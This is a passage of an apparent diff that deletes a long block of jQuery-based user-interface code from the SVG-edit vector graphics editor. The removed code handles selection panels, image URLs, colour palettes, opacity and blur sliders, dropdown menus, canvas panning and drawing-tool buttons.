-						if ($('#linecap_' + attr).length != 0)
-							setStrokeOpt($('#linecap_' + attr)[0]);
-					}
-	
-				}
-				
-				// All elements including image and group have opacity
-				if(selectedElement != null) {
-					var opac_perc = ((selectedElement.getAttribute("opacity")||1.0)*100);
-					$('#group_opacity').val(opac_perc);
-					$('#opac_slider').slider('option', 'value', opac_perc);
-					$('#elem_id').val(selectedElement.id);
-				}
-				
-				updateToolButtonState();
-			};
-		
-			var setImageURL = Editor.setImageURL = function(url) {
-				if(!url) url = default_img_url;
-				
-				svgCanvas.setImageURL(url);
-				$('#image_url').val(url);
-				
-				if(url.indexOf('data:') === 0) {
-					// data URI found
-					$('#image_url').hide();
-					$('#change_image_url').show();
-				} else {
-					// regular URL
-					
-					svgCanvas.embedImage(url, function(datauri) {
-						if(!datauri) {
-							// Couldn't embed, so show warning
-							$('#url_notice').show();
-						} else {
-							$('#url_notice').hide();
-						}
-						default_img_url = url;
-					});
-					$('#image_url').show();
-					$('#change_image_url').hide();
-				}
-			}
-		
-			var setInputWidth = function(elem) {
-				var w = Math.min(Math.max(12 + elem.value.length * 6, 50), 300);
-				$(elem).width(w);
-			}
-		
-			// updates the context panel tools based on the selected element
-			var updateContextPanel = function() {
-				var elem = selectedElement;
-				// If element has just been deleted, consider it null
-				if(elem != null && !elem.parentNode) elem = null;
-				var currentLayerName = svgCanvas.getCurrentDrawing().getCurrentLayerName();
-				var currentMode = svgCanvas.getMode();
-				var unit = curConfig.baseUnit !== 'px' ? curConfig.baseUnit : null;
-				
-				var is_node = currentMode == 'pathedit'; //elem ? (elem.id && elem.id.indexOf('pathpointgrip') == 0) : false;
-				var menu_items = $('#cmenu_canvas li');
-				$('#selected_panel, #multiselected_panel, #g_panel, #rect_panel, #circle_panel,\
-					#ellipse_panel, #line_panel, #text_panel, #image_panel, #container_panel, #use_panel, #a_panel').hide();
-				if (elem != null) {
-					var elname = elem.nodeName;
-					
-					// If this is a link with no transform and one child, pretend
-					// its child is selected
-// 					console.log('go', elem)
-// 					if(elname === 'a') { // && !$(elem).attr('transform')) {
-// 						elem = elem.firstChild;
-// 					}
-
-					var angle = svgCanvas.getRotationAngle(elem);
-					$('#angle').val(angle);
-					
-					var blurval = svgCanvas.getBlur(elem);
-					$('#blur').val(blurval);
-					$('#blur_slider').slider('option', 'value', blurval);
-					
-					if(svgCanvas.addedNew) {
-						if(elname === 'image') {
-							// Prompt for URL if not a data URL
-							if(svgCanvas.getHref(elem).indexOf('data:') !== 0) {
-								promptImgURL();
-							}
-						} /*else if(elname == 'text') {
-							// TODO: Do something here for new text
-						}*/
-					}
-					
-					if(!is_node && currentMode != 'pathedit') {
-						$('#selected_panel').show();
-						// Elements in this array already have coord fields
-						if(['line', 'circle', 'ellipse'].indexOf(elname) >= 0) {
-							$('#xy_panel').hide();
-						} else {
-							var x,y;
-							
-							// Get BBox vals for g, polyline and path
-							if(['g', 'polyline', 'path'].indexOf(elname) >= 0) {
-								var bb = svgCanvas.getStrokedBBox([elem]);
-								if(bb) {
-									x = bb.x;
-									y = bb.y;
-								}
-							} else {
-								x = elem.getAttribute('x');
-								y = elem.getAttribute('y');
-							}
-							
-							if(unit) {
-								x = svgedit.units.convertUnit(x);
-								y = svgedit.units.convertUnit(y);
-							}							
-							
-							$('#selected_x').val(x || 0);
-							$('#selected_y').val(y || 0);
-							$('#xy_panel').show();
-						}
-						
-						// Elements in this array cannot be converted to a path
-						var no_path = ['image', 'text', 'path', 'g', 'use'].indexOf(elname) == -1;
-						$('#tool_topath').toggle(no_path);
-						$('#tool_reorient').toggle(elname == 'path');
-						$('#tool_reorient').toggleClass('disabled', angle == 0);
-					} else {
-						var point = path.getNodePoint();
-						$('#tool_add_subpath').removeClass('push_button_pressed').addClass('tool_button');
-						$('#tool_node_delete').toggleClass('disabled', !path.canDeleteNodes);
-						
-						// Show open/close button based on selected point
-						setIcon('#tool_openclose_path', path.closed_subpath ? 'open_path' : 'close_path');
-						
-						if(point) {
-							var seg_type = $('#seg_type');
-							if(unit) {
-								point.x = svgedit.units.convertUnit(point.x);
-								point.y = svgedit.units.convertUnit(point.y);
-							}
-							$('#path_node_x').val(point.x);
-							$('#path_node_y').val(point.y);
-							if(point.type) {
-								seg_type.val(point.type).removeAttr('disabled');
-							} else {
-								seg_type.val(4).attr('disabled','disabled');
-							}
-						}
-						return;
-					}
-					
-					// update contextual tools here
-					var panels = {
-						g: [],
-						a: [],
-						rect: ['rx','width','height'],
-						image: ['width','height'],
-						circle: ['cx','cy','r'],
-						ellipse: ['cx','cy','rx','ry'],
-						line: ['x1','y1','x2','y2'], 
-						text: [],
-						'use': []
-					};
-					
-					var el_name = elem.tagName;
-					
-// 					if($(elem).data('gsvg')) {
-// 						$('#g_panel').show();
-// 					}
-					
-					var link_href = null;
-					if (el_name === 'a') {
-						link_href = svgCanvas.getHref(elem);
-						$('#g_panel').show();
-					}
-					
-					if(elem.parentNode.tagName === 'a') {
-						if(!$(elem).siblings().length) {
-							$('#a_panel').show();
-							link_href = svgCanvas.getHref(elem.parentNode);
-						}
-					}
-					
-					// Hide/show the make_link buttons
-					$('#tool_make_link, #tool_make_link').toggle(!link_href);
-					
-					if(link_href) {
-						$('#link_url').val(link_href);
-					}
-					
-					if(panels[el_name]) {
-						var cur_panel = panels[el_name];
-						
-						$('#' + el_name + '_panel').show();
-			
-						$.each(cur_panel, function(i, item) {
-							var attrVal = elem.getAttribute(item);
-							if(curConfig.baseUnit !== 'px' && elem[item]) {
-								var bv = elem[item].baseVal.value;
-								attrVal = svgedit.units.convertUnit(bv);
-							}
-						
-							$('#' + el_name + '_' + item).val(attrVal || 0);
-						});
-						
-						if(el_name == 'text') {
-							$('#text_panel').css("display", "inline");	
-							if (svgCanvas.getItalic()) {
-								$('#tool_italic').addClass('push_button_pressed').removeClass('tool_button');
-							}
-							else {
-								$('#tool_italic').removeClass('push_button_pressed').addClass('tool_button');
-							}
-							if (svgCanvas.getBold()) {
-								$('#tool_bold').addClass('push_button_pressed').removeClass('tool_button');
-							}
-							else {
-								$('#tool_bold').removeClass('push_button_pressed').addClass('tool_button');
-							}
-							$('#font_family').val(elem.getAttribute("font-family"));
-							$('#font_size').val(elem.getAttribute("font-size"));
-							$('#text').val(elem.textContent);
-							if (svgCanvas.addedNew) {
-								// Timeout needed for IE9
-								setTimeout(function() {
-									$('#text').focus().select();
-								},100);
-							}
-						} // text
-						else if(el_name == 'image') {
-							setImageURL(svgCanvas.getHref(elem));
-						} // image
-						else if(el_name === 'g' || el_name === 'use') {
-							$('#container_panel').show();
-							var title = svgCanvas.getTitle();
-							var label = $('#g_title')[0];
-							label.value = title;
-							setInputWidth(label);
-							var d = 'disabled';
-							if(el_name == 'use') {
-								label.setAttribute(d, d);
-							} else {
-								label.removeAttribute(d);
-							}
-						}
-					}
-					menu_items[(el_name === 'g' ? 'en':'dis') + 'ableContextMenuItems']('#ungroup');
-					menu_items[((el_name === 'g' || !multiselected) ? 'dis':'en') + 'ableContextMenuItems']('#group');
-				} // if (elem != null)
-				else if (multiselected) {
-					$('#multiselected_panel').show();
-					menu_items
-						.enableContextMenuItems('#group')
-						.disableContextMenuItems('#ungroup');
-				} else {
-					menu_items.disableContextMenuItems('#delete,#cut,#copy,#group,#ungroup,#move_front,#move_up,#move_down,#move_back');
-				}
-				
-				// update history buttons
-				if (undoMgr.getUndoStackSize() > 0) {
-					$('#tool_undo').removeClass( 'disabled');
-				}
-				else {
-					$('#tool_undo').addClass( 'disabled');
-				}
-				if (undoMgr.getRedoStackSize() > 0) {
-					$('#tool_redo').removeClass( 'disabled');
-				}
-				else {
-					$('#tool_redo').addClass( 'disabled');
-				}
-				
-				svgCanvas.addedNew = false;
-		
-				if ( (elem && !is_node)	|| multiselected) {
-					// update the selected elements' layer
-					$('#selLayerNames').removeAttr('disabled').val(currentLayerName);
-					
-					// Enable regular menu options
-					canv_menu.enableContextMenuItems('#delete,#cut,#copy,#move_front,#move_up,#move_down,#move_back');
-				}
-				else {
-					$('#selLayerNames').attr('disabled', 'disabled');
-				}
-			};
-		
-			$('#text').focus( function(){ textBeingEntered = true; } );
-			$('#text').blur( function(){ textBeingEntered = false; } );
-		  
-			// bind the selected event to our function that handles updates to the UI
-			svgCanvas.bind("selected", selectedChanged);
-			svgCanvas.bind("transition", elementTransition);
-			svgCanvas.bind("changed", elementChanged);
-			svgCanvas.bind("saved", saveHandler);
-			svgCanvas.bind("exported", exportHandler);
-			svgCanvas.bind("zoomed", zoomChanged);
-			svgCanvas.bind("contextset", contextChanged);
-			svgCanvas.bind("extension_added", extAdded);
-			svgCanvas.textActions.setInputElem($("#text")[0]);
-		
-			var str = '<div class="palette_item" data-rgb="none"></div>'
-			$.each(palette, function(i,item){
-				str += '<div class="palette_item" style="background-color: ' + item + ';" data-rgb="' + item + '"></div>';
-			});
-			$('#palette').append(str);
-			
-			// Set up editor background functionality
-			// TODO add checkerboard as "pattern"
-			var color_blocks = ['#FFF','#888','#000']; // ,'url(data:image/gif;base64,R0lGODlhEAAQAIAAAP%2F%2F%2F9bW1iH5BAAAAAAALAAAAAAQABAAAAIfjG%2Bgq4jM3IFLJgpswNly%2FXkcBpIiVaInlLJr9FZWAQA7)'];
-			var str = '';
-			$.each(color_blocks, function() {
-				str += '<div class="color_block" style="background-color:' + this + ';"></div>';
-			});
-			$('#bg_blocks').append(str);
-			var blocks = $('#bg_blocks div');
-			var cur_bg = 'cur_background';
-			blocks.each(function() {
-				var blk = $(this);
-				blk.click(function() {
-					blocks.removeClass(cur_bg);
-					$(this).addClass(cur_bg);
-				});
-			});
-		
-			if($.pref('bkgd_color')) {
-				setBackground($.pref('bkgd_color'), $.pref('bkgd_url'));
-			} else if($.pref('bkgd_url')) {
-				// No color set, only URL
-				setBackground(defaultPrefs.bkgd_color, $.pref('bkgd_url'));
-			}
-			
-			if($.pref('img_save')) {
-				curPrefs.img_save = $.pref('img_save');
-				$('#image_save_opts input').val([curPrefs.img_save]);
-			}
-		
-			var changeRectRadius = function(ctl) {
-				svgCanvas.setRectRadius(ctl.value);
-			}
-			
-			var changeFontSize = function(ctl) {
-				svgCanvas.setFontSize(ctl.value);
-			}
-			
-			var changeStrokeWidth = function(ctl) {
-				var val = ctl.value;
-				if(val == 0 && selectedElement && ['line', 'polyline'].indexOf(selectedElement.nodeName) >= 0) {
-					val = ctl.value = 1;
-				}
-				svgCanvas.setStrokeWidth(val);
-			}
-			
-			var changeRotationAngle = function(ctl) {
-				svgCanvas.setRotationAngle(ctl.value);
-				$('#tool_reorient').toggleClass('disabled', ctl.value == 0);
-			}
-			var changeZoom = function(ctl) {
-				var zoomlevel = ctl.value / 100;
-				if(zoomlevel < .001) {
-					ctl.value = .1;
-					return;
-				}
-				var zoom = svgCanvas.getZoom();
-				var w_area = workarea;
-				
-				zoomChanged(window, {
-					width: 0,
-					height: 0,
-					// center pt of scroll position
-					x: (w_area[0].scrollLeft + w_area.width()/2)/zoom, 
-					y: (w_area[0].scrollTop + w_area.height()/2)/zoom,
-					zoom: zoomlevel
-				}, true);
-			}
-			
-			var changeOpacity = function(ctl, val) {
-				if(val == null) val = ctl.value;
-				$('#group_opacity').val(val);
-				if(!ctl || !ctl.handle) {
-					$('#opac_slider').slider('option', 'value', val);
-				}
-				svgCanvas.setOpacity(val/100);
-			}
-		
-			var changeBlur = function(ctl, val, noUndo) {
-				if(val == null) val = ctl.value;
-				$('#blur').val(val);
-				var complete = false;
-				if(!ctl || !ctl.handle) {
-					$('#blur_slider').slider('option', 'value', val);
-					complete = true;
-				}
-				if(noUndo) {
-					svgCanvas.setBlurNoUndo(val);	
-				} else {
-					svgCanvas.setBlur(val, complete);
-				}
-			}
-		
-			var operaRepaint = function() {
-				// Repaints canvas in Opera. Needed for stroke-dasharray change as well as fill change
-				if(!window.opera) return;
-				$('<p/>').hide().appendTo('body').remove();
-			}
-		
-			$('#stroke_style').change(function(){
-				svgCanvas.setStrokeAttr('stroke-dasharray', $(this).val());
-				operaRepaint();
-			});
-
-			$('#stroke_linejoin').change(function(){
-				svgCanvas.setStrokeAttr('stroke-linejoin', $(this).val());
-				operaRepaint();
-			});
-
-		
-			// Lose focus for select elements when changed (Allows keyboard shortcuts to work better)
-			$('select').change(function(){$(this).blur();});
-		
-			// fired when user wants to move elements to another layer
-			var promptMoveLayerOnce = false;
-			$('#selLayerNames').change(function(){
-				var destLayer = this.options[this.selectedIndex].value;
-				var confirm_str = uiStrings.notification.QmoveElemsToLayer.replace('%s',destLayer);
-				var moveToLayer = function(ok) {
-					if(!ok) return;
-					promptMoveLayerOnce = true;
-					svgCanvas.moveSelectedToLayer(destLayer);
-					svgCanvas.clearSelection();
-					populateLayers();
-				}
-				if (destLayer) {
-					if(promptMoveLayerOnce) {
-						moveToLayer(true);
-					} else {
-						$.confirm(confirm_str, moveToLayer);
-					}
-				}
-			});
-		
-			$('#font_family').change(function() {
-				svgCanvas.setFontFamily(this.value);
-			});
-		
-			$('#seg_type').change(function() {
-				svgCanvas.setSegType($(this).val());
-			});
-		
-			$('#text').keyup(function(){
-				svgCanvas.setTextContent(this.value);
-			});
-		  
-			$('#image_url').change(function(){
-				setImageURL(this.value); 
-			});
-			
-			$('#link_url').change(function() {
-				if(this.value.length) {
-					svgCanvas.setLinkURL(this.value);
-				} else {
-					svgCanvas.removeHyperlink();
-				}
-			});
-		
-			$('#g_title').change(function() {
-				svgCanvas.setGroupTitle(this.value);
-			});
-		
-			$('.attr_changer').change(function() {
-				var attr = this.getAttribute("data-attr");
-				var val = this.value;
-				var valid = svgedit.units.isValidUnit(attr, val);
-				
-				if(!valid) {
-					$.alert(uiStrings.notification.invalidAttrValGiven);
-					this.value = selectedElement.getAttribute(attr);
-					return false;
-				}
-				
-				if (attr !== "id") {
-					if (isNaN(val)) {
-						val = svgCanvas.convertToNum(attr, val);
-					} else if(curConfig.baseUnit !== 'px') {
-						// Convert unitless value to one with given unit
-				
-						var unitData = svgedit.units.getTypeMap();
-
-						if(selectedElement[attr] || svgCanvas.getMode() === "pathedit" || attr === "x" || attr === "y") {
-							val *= unitData[curConfig.baseUnit];
-						}
-					}
-				}
-				
-				// if the user is changing the id, then de-select the element first
-				// change the ID, then re-select it with the new ID
-				if (attr === "id") {
-					var elem = selectedElement;
-					svgCanvas.clearSelection();
-					elem.id = val;
-					svgCanvas.addToSelection([elem],true);
-				}
-				else {
-					svgCanvas.changeSelectedAttribute(attr, val);
-				}
-			});
-			
-			// Prevent selection of elements when shift-clicking
-			$('#palette').mouseover(function() {
-				var inp = $('<input type="hidden">');
-				$(this).append(inp);
-				inp.focus().remove();
-			})
-			
-			$('.palette_item').mousedown(function(evt){
-				var right_click = evt.button === 2;
-				var isStroke = evt.shiftKey || right_click;
-				var picker = isStroke ? "stroke" : "fill";
-				var color = $(this).attr('data-rgb');
-				var paint = null;
-		
-				// Webkit-based browsers returned 'initial' here for no stroke
-				if (color === 'transparent' || color === 'initial') {
-					color = 'none';
-					paint = new $.jGraduate.Paint();
-				}
-				else {
-					paint = new $.jGraduate.Paint({alpha: 100, solidColor: color.substr(1)});
-				}
-				
-				paintBox[picker].setPaint(paint);
-				
-				if (isStroke) {
-					svgCanvas.setColor('stroke', color);
-					if (color != 'none' && svgCanvas.getStrokeOpacity() != 1) {
-						svgCanvas.setPaintOpacity('stroke', 1.0);
-					}
-				} else {
-					svgCanvas.setColor('fill', color);
-					if (color != 'none' && svgCanvas.getFillOpacity() != 1) {
-						svgCanvas.setPaintOpacity('fill', 1.0);
-					}
-				}
-				updateToolButtonState();
-			}).bind('contextmenu', function(e) {e.preventDefault()});
-		
-			$("#toggle_stroke_tools").toggle(function() {
-				$(".stroke_tool").css('display','table-cell');
-				$(this).text('<<');
-				resetScrollPos();
-			}, function() {
-				$(".stroke_tool").css('display','none');
-				$(this).text('>>');
-				resetScrollPos();
-			});
-		
-			// This is a common function used when a tool has been clicked (chosen)
-			// It does several common things:
-			// - removes the tool_button_current class from whatever tool currently has it
-			// - hides any flyouts
-			// - adds the tool_button_current class to the button passed in
-			var toolButtonClick = function(button, noHiding) {
-				if ($(button).hasClass('disabled')) return false;
-				if($(button).parent().hasClass('tools_flyout')) return true;
-				var fadeFlyouts = fadeFlyouts || 'normal';
-				if(!noHiding) {
-					$('.tools_flyout').fadeOut(fadeFlyouts);
-				}
-				$('#styleoverrides').text('');
-				workarea.css('cursor','auto');
-				$('.tool_button_current').removeClass('tool_button_current').addClass('tool_button');
-				$(button).addClass('tool_button_current').removeClass('tool_button');
-				return true;
-			};
-			
-			(function() {
-				var last_x = null, last_y = null, w_area = workarea[0], 
-					panning = false, keypan = false;
-				
-				$('#svgcanvas').bind('mousemove mouseup', function(evt) {
-					if(panning === false) return;
-
-					w_area.scrollLeft -= (evt.clientX - last_x);
-					w_area.scrollTop -= (evt.clientY - last_y);
-					
-					last_x = evt.clientX;
-					last_y = evt.clientY;
-					
-					if(evt.type === 'mouseup') panning = false;
-					return false;
-				}).mousedown(function(evt) {
-					if(evt.button === 1 || keypan === true) {
-						panning = true;
-						last_x = evt.clientX;
-						last_y = evt.clientY;
-						return false;
-					}
-				});
-				
-				$(window).mouseup(function() {
-					panning = false;
-				});
-				
-				$(document).bind('keydown', 'space', function(evt) {
-					svgCanvas.spaceKey = keypan = true;
-					evt.preventDefault();
-				}).bind('keyup', 'space', function(evt) {
-					evt.preventDefault();
-					svgCanvas.spaceKey = keypan = false;
-				}).bind('keydown', 'shift', function(evt) {
-					if(svgCanvas.getMode() === 'zoom') {
-						workarea.css('cursor', zoomOutIcon);
-					}
-				}).bind('keyup', 'shift', function(evt) {
-					if(svgCanvas.getMode() === 'zoom') {
-						workarea.css('cursor', zoomInIcon);
-					}
-				})
-			}());
-			
-			
-			function setStrokeOpt(opt, changeElem) {
-				var id = opt.id;
-				var bits = id.split('_');
-				var pre = bits[0];
-				var val = bits[1];
-			
-				if(changeElem) {
-					svgCanvas.setStrokeAttr('stroke-' + pre, val);
-				}
-				operaRepaint();
-				setIcon('#cur_' + pre , id, 20);
-				$(opt).addClass('current').siblings().removeClass('current');
-			}
-			
-			(function() {
-				var button = $('#main_icon');
-				var overlay = $('#main_icon span');
-				var list = $('#main_menu');
-				var on_button = false;
-				var height = 0;
-				var js_hover = true;
-				var set_click = false;
-				
-				var hideMenu = function() {
-					list.fadeOut(200);
-				};
-				
-				$(window).mouseup(function(evt) {
-					if(!on_button) {
-						button.removeClass('buttondown');
-						// do not hide if it was the file input as that input needs to be visible 
-						// for its change event to fire
-						if (evt.target.tagName != "INPUT") {
-							list.fadeOut(200);
-						} else if(!set_click) {
-							set_click = true;
-							$(evt.target).click(function() {
-								list.css('margin-left','-9999px').show();
-							});
-						}
-					}
-					on_button = false;
-				}).mousedown(function(evt) {
-// 					$(".contextMenu").hide();
-// 					console.log('cm', $(evt.target).closest('.contextMenu'));
-				
-					var islib = $(evt.target).closest('div.tools_flyout, .contextMenu').length;
-					if(!islib) $('.tools_flyout:visible,.contextMenu').fadeOut(250);
-				});
-				
-				overlay.bind('mousedown',function() {
-					if (!button.hasClass('buttondown')) {
-						button.addClass('buttondown').removeClass('buttonup')
-						// Margin must be reset in case it was changed before;
-						list.css('margin-left',0).show();
-						if(!height) {
-							height = list.height();
-						}
-						// Using custom animation as slideDown has annoying "bounce effect"
-						list.css('height',0).animate({
-							'height': height
-						},200);
-						on_button = true;
-						return false;
-					} else {
-						button.removeClass('buttondown').addClass('buttonup');
-						list.fadeOut(200);
-					}
-				}).hover(function() {
-					on_button = true;
-				}).mouseout(function() {
-					on_button = false;
-				});
-				
-				var list_items = $('#main_menu li');
-				
-				// Check if JS method of hovering needs to be used (Webkit bug)
-				list_items.mouseover(function() {
-					js_hover = ($(this).css('background-color') == 'rgba(0, 0, 0, 0)');
-					
-					list_items.unbind('mouseover');
-					if(js_hover) {
-						list_items.mouseover(function() {
-							this.style.backgroundColor = '#FFC';
-						}).mouseout(function() {
-							this.style.backgroundColor = 'transparent';
-							return true;
-						});
-					}
-				});
-			}());
-			// Made public for UI customization.
-			// TODO: Group UI functions into a public svgEditor.ui interface.
-			Editor.addDropDown = function(elem, callback, dropUp) {
-				if ($(elem).length == 0) return; // Quit if called on non-existant element
-				var button = $(elem).find('button');
-				
-				var list = $(elem).find('ul').attr('id', $(elem)[0].id + '-list');
-				
-				if(!dropUp) {
-					// Move list to place where it can overflow container
-					$('#option_lists').append(list);
-				}
-				
-				var on_button = false;
-				if(dropUp) {
-					$(elem).addClass('dropup');
-				}
-			
-				list.find('li').bind('mouseup', callback);
-				
-				$(window).mouseup(function(evt) {
-					if(!on_button) {
-						button.removeClass('down');
-						list.hide();
-					}
-					on_button = false;
-				});
-				
-				button.bind('mousedown',function() {
-					if (!button.hasClass('down')) {
-						button.addClass('down');
-						
-						if(!dropUp) {
-							var pos = $(elem).position();
-							list.css({
-								top: pos.top + 24,
-								left: pos.left - 10
-							});
-						}
-						list.show();
-						
-						on_button = true;
-					} else {
-						button.removeClass('down');
-						list.hide();
-					}
-				}).hover(function() {
-					on_button = true;
-				}).mouseout(function() {
-					on_button = false;
-				});
-			}
-			
-			// TODO: Combine this with addDropDown or find other way to optimize
-			var addAltDropDown = function(elem, list, callback, opts) {
-				var button = $(elem);
-				var list = $(list);
-				var on_button = false;
-				var dropUp = opts.dropUp;
-				if(dropUp) {
-					$(elem).addClass('dropup');
-				}
-				list.find('li').bind('mouseup', function() {
-					if(opts.seticon) {
-						setIcon('#cur_' + button[0].id , $(this).children());
-						$(this).addClass('current').siblings().removeClass('current');
-					}
-					callback.apply(this, arguments);
-
-				});
-				
-				$(window).mouseup(function(evt) {
-					if(!on_button) {
-						button.removeClass('down');
-						list.hide();
-						list.css({top:0, left:0});
-					}
-					on_button = false;
-				});
-				
-				var height = list.height();
-				$(elem).bind('mousedown',function() {
-					var off = $(elem).offset();
-					if(dropUp) {
-						off.top -= list.height();
-						off.left += 8;
-					} else {
-						off.top += $(elem).height();
-					}
-					$(list).offset(off);
-					
-					if (!button.hasClass('down')) {
-						button.addClass('down');
-						list.show();
-						on_button = true;
-						return false;
-					} else {
-						button.removeClass('down');
-						// CSS position must be reset for Webkit
-						list.hide();
-						list.css({top:0, left:0});
-					}
-				}).hover(function() {
-					on_button = true;
-				}).mouseout(function() {
-					on_button = false;
-				});
-				
-				if(opts.multiclick) {
-					list.mousedown(function() {
-						on_button = true;
-					});
-				}
-			}
-			
-			Editor.addDropDown('#font_family_dropdown', function() {
-				var fam = $(this).text();
-				$('#font_family').val($(this).text()).change();
-			});
-			
-			Editor.addDropDown('#opacity_dropdown', function() {
-				if($(this).find('div').length) return;
-				var perc = parseInt($(this).text().split('%')[0]);
-				changeOpacity(false, perc);
-			}, true);
-			
-			// For slider usage, see: http://jqueryui.com/demos/slider/ 
-			$("#opac_slider").slider({
-				start: function() {
-					$('#opacity_dropdown li:not(.special)').hide();
-				},
-				stop: function() {
-					$('#opacity_dropdown li').show();
-					$(window).mouseup();
-				},
-				slide: function(evt, ui){
-					changeOpacity(ui);
-				}
-			});
-		
-			Editor.addDropDown('#blur_dropdown', $.noop);
-			
-			var slideStart = false;
-			
-			$("#blur_slider").slider({
-				max: 10,
-				step: .1,
-				stop: function(evt, ui) {
-					slideStart = false;
-					changeBlur(ui);
-					$('#blur_dropdown li').show();
-					$(window).mouseup();
-				},
-				start: function() {
-					slideStart = true;
-				},
-				slide: function(evt, ui){
-					changeBlur(ui, null, slideStart);
-				}
-			});
-
-		
-			Editor.addDropDown('#zoom_dropdown', function() {
-				var item = $(this);
-				var val = item.attr('data-val');
-				if(val) {
-					zoomChanged(window, val);
-				} else {
-					changeZoom({value:parseInt(item.text())});
-				}
-			}, true);
-			
-			addAltDropDown('#stroke_linecap', '#linecap_opts', function() {
-				setStrokeOpt(this, true);
-			}, {dropUp: true});
-			
-			addAltDropDown('#stroke_linejoin', '#linejoin_opts', function() {
-				setStrokeOpt(this, true);
-			}, {dropUp: true});
-			
-			addAltDropDown('#tool_position', '#position_opts', function() {
-				var letter = this.id.replace('tool_pos','').charAt(0);
-				svgCanvas.alignSelectedElements(letter, 'page');
-			}, {multiclick: true});
-			
-			/*
-			
-			When a flyout icon is selected
-				(if flyout) {
-				- Change the icon
-				- Make pressing the button run its stuff
-				}
-				- Run its stuff
-			
-			When its shortcut key is pressed
-				- If not current in list, do as above
-				, else:
-				- Just run its stuff
-			
-			*/
-			
-			// Unfocus text input when workarea is mousedowned.
-			(function() {
-				var inp;
-
-				var unfocus = function() {
-					$(inp).blur();
-				}
-				
-				$('#svg_editor').find('button, select, input:not(#text)').focus(function() {
-					inp = this;
-					ui_context = 'toolbars';
-					workarea.mousedown(unfocus);
-				}).blur(function() {
-					ui_context = 'canvas';
-					workarea.unbind('mousedown', unfocus);
-					// Go back to selecting text if in textedit mode
-					if(svgCanvas.getMode() == 'textedit') {
-						$('#text').focus();
-					}
-				});
-				
-			}());
-
-			var clickSelect = function() {
-				if (toolButtonClick('#tool_select')) {
-					svgCanvas.setMode('select');
-					$('#styleoverrides').text('#svgcanvas svg *{cursor:move;pointer-events:all}, #svgcanvas svg{cursor:default}');
-				}
-			};
-		
-			var clickFHPath = function() {
-				if (toolButtonClick('#tool_fhpath')) {
-					svgCanvas.setMode('fhpath');
-				}
-			};
-		
-			var clickLine = function() {
-				if (toolButtonClick('#tool_line')) {
-					svgCanvas.setMode('line');
-				}
-			};
-		
-			var clickSquare = function(){
-				if (toolButtonClick('#tool_square')) {
-					svgCanvas.setMode('square');
-				}
-			};
-			
-			var clickRect = function(){
-				if (toolButtonClick('#tool_rect')) {
-					svgCanvas.setMode('rect');
-				}
-			};
-			
-			var clickFHRect = function(){
-				if (toolButtonClick('#tool_fhrect')) {
-					svgCanvas.setMode('fhrect');
-				}
-			};
-			
-			var clickCircle = function(){
-				if (toolButtonClick('#tool_circle')) {
-					svgCanvas.setMode('circle');
-				}
-			};
-		
-			var clickEllipse = function(){
-				if (toolButtonClick('#tool_ellipse')) {
-					svgCanvas.setMode('ellipse');
-				}
-			};
-		
-			var clickFHEllipse = function(){
-				if (toolButtonClick('#tool_fhellipse')) {
-					svgCanvas.setMode('fhellipse');
-				}
-			};
-			
-			var clickImage = function(){
-				if (toolButtonClick('#tool_image')) {
-					svgCanvas.setMode('image');
-				}
-			};
-		
-			var clickZoom = function(){
-				if (toolButtonClick('#tool_zoom')) {
-					svgCanvas.setMode('zoom');
-					workarea.css('cursor', zoomInIcon);
-				}
-			};
-		
-			var dblclickZoom = function(){
-				if (toolButtonClick('#tool_zoom')) {
-					zoomImage();
-					setSelectMode();
-				}
-			};
-		
-			var clickText = function(){
-				if (toolButtonClick('#tool_text')) {
-					svgCanvas.setMode('text');
-				}
-			};
-			
-			var clickPath = function(){
-				if (toolButtonClick('#tool_path')) {
-					svgCanvas.setMode('path');
-				}
-			};
-			
-			// Delete is a contextual tool that only appears in the ribbon if
-			// an element has been selected
-			var deleteSelected = function() {
-				if (selectedElement != null || multiselected) {
-					svgCanvas.deleteSelectedElements();
-				}
-			};
-		
-			var cutSelected = function() {
-				if (selectedElement != null || multiselected) {
-					svgCanvas.cutSelectedElements();
-				}
-			};
-			
-			var copySelected = function() {
-				if (selectedElement != null || multiselected) {
-					svgCanvas.copySelectedElements();
-				}
-			};
-			
-			var pasteInCenter = function() {
-				var zoom = svgCanvas.getZoom();
-				
-				var x = (workarea[0].scrollLeft + workarea.width()/2)/zoom  - svgCanvas.contentW; 
-				var y = (workarea[0].scrollTop + workarea.height()/2)/zoom  - svgCanvas.contentH;
-				svgCanvas.pasteElements('point', x, y); 
-			}
-			
-			var moveToTopSelected = function() {
-				if (selectedElement != null) {
-					svgCanvas.moveToTopSelectedElement();
-				}
-			};
-			
-			var moveToBottomSelected = function() {
-				if (selectedElement != null) {
-					svgCanvas.moveToBottomSelectedElement();
-				}
-			};
-			
-			var moveUpDownSelected = function(dir) {
-				if (selectedElement != null) {
-					svgCanvas.moveUpDownSelected(dir);
-				}
-			};
-
-			var convertToPath = function() {
-				if (selectedElement != null) {
-					svgCanvas.convertToPath();
-				}
-			}
-			
-			var reorientPath = function() {
-				if (selectedElement != null) {
-					path.reorient();
-				}
-			}
-		
-			var makeHyperlink = function() {
-				if (selectedElement != null || multiselected) {
-					$.prompt(uiStrings.notification.enterNewLinkURL, "http://", function(url) {
-						if(url) svgCanvas.makeHyperlink(url);
-					});
-				}
-			}
-		
-			var moveSelected = function(dx,dy) {
-				if (selectedElement != null || multiselected) {
-					if(curConfig.gridSnapping) {
-						// Use grid snap value regardless of zoom level
-						var multi = svgCanvas.getZoom() * curConfig.snappingStep;
-						dx *= multi;
-						dy *= multi;
-					}
-					svgCanvas.moveSelectedElements(dx,dy);
-				}
-			};
-		
-			var linkControlPoints = function() {
-				var linked = !$('#tool_node_link').hasClass('push_button_pressed');
-				if (linked)
-					$('#tool_node_link').addClass('push_button_pressed').removeClass('tool_button');
-				else
-					$('#tool_node_link').removeClass('push_button_pressed').addClass('tool_button');
-					
-				path.linkControlPoints(linked);
-			}
-		
-			var clonePathNode = function() {
-				if (path.getNodePoint()) {
-					path.clonePathNode();
-				}
-			};
-			
-			var deletePathNode = function() {
-				if (path.getNodePoint()) {
-					path.deletePathNode();
-				}
-			};
-		
-			var addSubPath = function() {
-				var button = $('#tool_add_subpath');
-				var sp = !button.hasClass('push_button_pressed');
-				if (sp) {
-					button.addClass('push_button_pressed').removeClass('tool_button');
-				} else {
-					button.removeClass('push_button_pressed').addClass('tool_button');
-				}
-				
-				path.addSubPath(sp);
-				
-			};
-		
-			var opencloseSubPath = function() {
-				path.opencloseSubPath();
-			}	
-			
-			var selectNext = function() {
-				svgCanvas.cycleElement(1);
-			};
-			
-			var selectPrev = function() {
